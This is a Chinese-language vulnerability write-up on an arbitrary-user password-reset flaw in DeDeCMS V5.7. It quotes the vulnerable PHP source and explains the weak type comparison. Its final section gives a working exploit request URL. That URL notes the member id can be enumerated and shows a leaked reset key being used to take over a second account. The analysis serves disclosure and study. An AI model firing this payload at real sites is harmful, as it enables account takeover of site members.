DeDecms(织梦CMS)新版任意用户密码重置漏洞分析

DeDecms(织梦CMS) V5.7.72 正式版20180109 (新版)

由于前台resetpassword.php中对接受的safeanswer参数类型比较不够严格，遭受弱类型比较攻击
导致了远程攻击者可以在前台会员中心绕过验证，进行任意用户密码重置攻击
漏洞触发位置

①文件位置:dedecms/member/resetpassword.php(75行)

else if($dopost == “safequestion”)
{
$mid = preg_replace(“#[^0-9]#”, “”, $id);
$sql = “SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = ‘$mid'”;
$row = $db->GetOne($sql);
if(empty($safequestion)) $safequestion = ”;

if(empty($safeanswer)) $safeanswer = ”;

if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] == $safeanswer)
{
sn($mid, $row[‘userid’], $row[’email’], ‘N’);
exit();
}
else
{
ShowMsg(“对不起，您的安全问题或答案回答错误”,”-1″);
exit();
}

}

就是这里的判断出现了问题，因为使用了不够严谨的 == 进行了比较，导致if语句的条件为真，就会进入分支，进入sn函数

if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] == $safeanswer)
{
sn($mid, $row[‘userid’], $row[’email’], ‘N’);
exit();
}

②文件位置:dedecms/member/inc/inc_pwd_functions.php(150行)
函数名称:function sn

function sn($mid,$userid,$mailto, $send = ‘Y’)
{
global $db;
$tptim= (60*10);
$dtime = time();
$sql = “SELECT * FROM #@__pwd_tmp WHERE mid = ‘$mid'”;
$row = $db->GetOne($sql);
if(!is_array($row))
{
//发送新邮件；
newmail($mid,$userid,$mailto,’INSERT’,$send);
}
//10分钟后可以再次发送新验证码；
elseif($dtime – $tptim > $row[‘mailtime’])
{
newmail($mid,$userid,$mailto,’UPDATE’,$send);
}
//重新发送新的验证码确认邮件；
else
{
return ShowMsg(‘对不起，请10分钟后再重新申请’, ‘login.php’);
}
}

在sn函数内部，会根据id到pwd_tmp表中判断是否存在对应的临时密码记录，根据结果确定分支，走向newmail函数

if(!is_array($row))
{
//发送新邮件；
newmail($mid,$userid,$mailto,’INSERT’,$send);
}

③文件位置:dedecms/member/inc/inc_pwd_functions.php(73行)
函数名称:function newmail

function newmail($mid, $userid, $mailto, $type, $send)
{
global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
$mailtime = time();
$randval = random(8);
$mailtitle = $cfg_webname.”:密码修改”;
$mailto = $mailto;
$headers = “From: “.$cfg_adminemail.”\r\nReply-To: $cfg_adminemail”;
$mailbody = “亲爱的”.$userid.”：\r\n您好！感谢您使用”.$cfg_webname.”网。\r\n”.$cfg_webname.”应您的要求，重新设置密码：（注：如果您没有提出申请，请检查您的信息是否泄漏。）\r\n本次临时登陆密码为：”.$randval.” 请于三天内登陆下面网址确认修改。\r\n”.$cfg_basehost.$cfg_memberurl.”/resetpassword.php?dopost=getpasswd&id=”.$mid;
if($type == ‘INSERT’)
{
$key = md5($randval);
$sql = “INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES (‘$mid’, ‘$userid’, ‘$key’, ‘$mailtime’);”;
if($db->ExecuteNoneQuery($sql))
{
if($send == ‘Y’)
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
return ShowMsg(‘EMAIL修改验证码已经发送到原来的邮箱请查收’, ‘login.php’,”,’5000′);
} else if ($send == ‘N’)
{
return ShowMsg(‘稍后跳转到修改页’, $cfg_basehost.$cfg_memberurl.”/resetpassword.php?dopost=getpasswd&id=”.$mid.”&key=”.$randval);
}
}
else
{
return ShowMsg(‘对不起修改失败，请联系管理员’, ‘login.php’);
}
}
elseif($type == ‘UPDATE’)
{
$key = md5($randval);
$sql = “UPDATE `#@__pwd_tmp` SET `pwd` = ‘$key’,mailtime = ‘$mailtime’ WHERE `mid` =’$mid’;”;
if($db->ExecuteNoneQuery($sql))
{
if($send == ‘Y’)
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
ShowMsg(‘EMAIL修改验证码已经发送到原来的邮箱请查收’, ‘login.php’);
}
elseif($send == ‘N’)
{
return ShowMsg(‘稍后跳转到修改页’, $cfg_basehost.$cfg_memberurl.”/resetpassword.php?dopost=getpasswd&id=”.$mid.”&key=”.$randval);
}
}
else
{
ShowMsg(‘对不起修改失败，请与管理员联系’, ‘login.php’);
}
}
}

进入newmail函数后，会因为$type的值进入这个分支

if($type == ‘INSERT’)
{
$key = md5($randval);
$sql = “INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES (‘$mid’, ‘$userid’, ‘$key’, ‘$mailtime’);”;
if($db->ExecuteNoneQuery($sql))
{
if($send == ‘Y’)
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
return ShowMsg(‘EMAIL修改验证码已经发送到原来的邮箱请查收’, ‘login.php’,”,’5000′);
} else if ($send == ‘N’)
{
return ShowMsg(‘稍后跳转到修改页’, $cfg_basehost.$cfg_memberurl.”/resetpassword.php?dopost=getpasswd&id=”.$mid.”&key=”.$randval);
}
}
else
{
return ShowMsg(‘对不起修改失败，请联系管理员’, ‘login.php’);
}
}

然后因为($send == ‘N’)这个条件为真，通过ShowMsg打印出修改密码的连接，导致漏洞形成

else if ($send == ‘N’)
{
return ShowMsg(‘稍后跳转到修改页’, $cfg_basehost.$cfg_memberurl.”/resetpassword.php?dopost=getpasswd&id=”.$mid.”&key=”.$randval);
}

密码修改连接如下,点击后重新调到resetpassword.php这个页面

http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=dqg3OSQo

文件位置:dedecms/member/resetpassword.php(96行)

else if($dopost == “getpasswd”)
{
//修改密码
if(empty($id))
{
ShowMsg(“对不起，请不要非法提交”,”login.php”);
exit();
}
$mid = preg_replace(“#[^0-9]#”, “”, $id);
$row = $db->GetOne(“SELECT * FROM #@__pwd_tmp WHERE mid = ‘$mid'”);
if(empty($row))
{
ShowMsg(“对不起，请不要非法提交”,”login.php”);
exit();
}
if(empty($setp))
{
$tptim= (60*60*24*3);
$dtime = time();
if($dtime – $tptim > $row[‘mailtime’])
{
$db->executenonequery(“DELETE FROM `#@__pwd_tmp` WHERE `md` = ‘$id’;”);
ShowMsg(“对不起，临时密码修改期限已过期”,”login.php”);
exit();
}
require_once(dirname(__FILE__).”/templets/resetpassword2.htm”);
}
elseif($setp == 2)
{
if(isset($key)) $pwdtmp = $key;

$sn = md5(trim($pwdtmp));
if($row[‘pwd’] == $sn)
{
if($pwd != “”)
{
if($pwd == $pwdok)
{
$pwdok = md5($pwdok);
$sql = “DELETE FROM `#@__pwd_tmp` WHERE `mid` = ‘$id’;”;
$db->executenonequery($sql);
$sql = “UPDATE `#@__member` SET `pwd` = ‘$pwdok’ WHERE `mid` = ‘$id’;”;
if($db->executenonequery($sql))
{
showmsg(‘更改密码成功，请牢记新密码’, ‘login.php’);
exit;
}
}
}
showmsg(‘对不起，新密码为空或填写不一致’, ‘-1’);
exit;
}
showmsg(‘对不起，临时密码错误’, ‘-1’);
exit;
}
}

在pwd_tmp表中查询判断后,最后会跳入这个分支，判断是否超时，然后进入密码修改页面

if(empty($setp))
{
$tptim= (60*60*24*3);
$dtime = time();
if($dtime – $tptim > $row[‘mailtime’])
{
$db->executenonequery(“DELETE FROM `#@__pwd_tmp` WHERE `md` = ‘$id’;”);
ShowMsg(“对不起，临时密码修改期限已过期”,”login.php”);
exit();
}
require_once(dirname(__FILE__).”/templets/resetpassword2.htm”);
}

然后会再次进入这个页面，不过因为setp等于2，会进入这个分支。完成member表的密码修改

elseif($setp == 2)
{
if(isset($key)) $pwdtmp = $key;

$sn = md5(trim($pwdtmp));
if($row[‘pwd’] == $sn)
{
if($pwd != “”)
{
if($pwd == $pwdok)
{
$pwdok = md5($pwdok);
$sql = “DELETE FROM `#@__pwd_tmp` WHERE `mid` = ‘$id’;”;
$db->executenonequery($sql);
$sql = “UPDATE `#@__member` SET `pwd` = ‘$pwdok’ WHERE `mid` = ‘$id’;”;
if($db->executenonequery($sql))
{
showmsg(‘更改密码成功，请牢记新密码’, ‘login.php’);
exit;
}
}
}
showmsg(‘对不起，新密码为空或填写不一致’, ‘-1’);
exit;
}
showmsg(‘对不起，临时密码错误’, ‘-1’);
exit;
}

总结：DeDecms(织梦CMS) 密码修改处，因为安全问题验证的safeanswer参数类型比较不够严格，遭受弱类型比较攻击，可绕过判断
同时修改时的id可控，导致了远程攻击者可以在前台会员中心绕过验证，进行任意用户密码重置攻击

漏洞攻击与利用
本地验证
分别注册两个账号
账号：test1
密码：test1

账号：test2
密码：test2

目的：我们使用test1账号去重置test2账号的密码

http://127.0.0.1/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=9

①test1登录,并发送payload,此处可以id可以遍历，9是test2的id

②我们在代理工具中找到ShowMsg打印出修改密码的连接

③去掉多余字符后，访问修改密码的连接，进入修改页面

http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=dqg3OSQo

④test2密码修改成功，数据库对应hash也进行了更新（变成了123456的hash）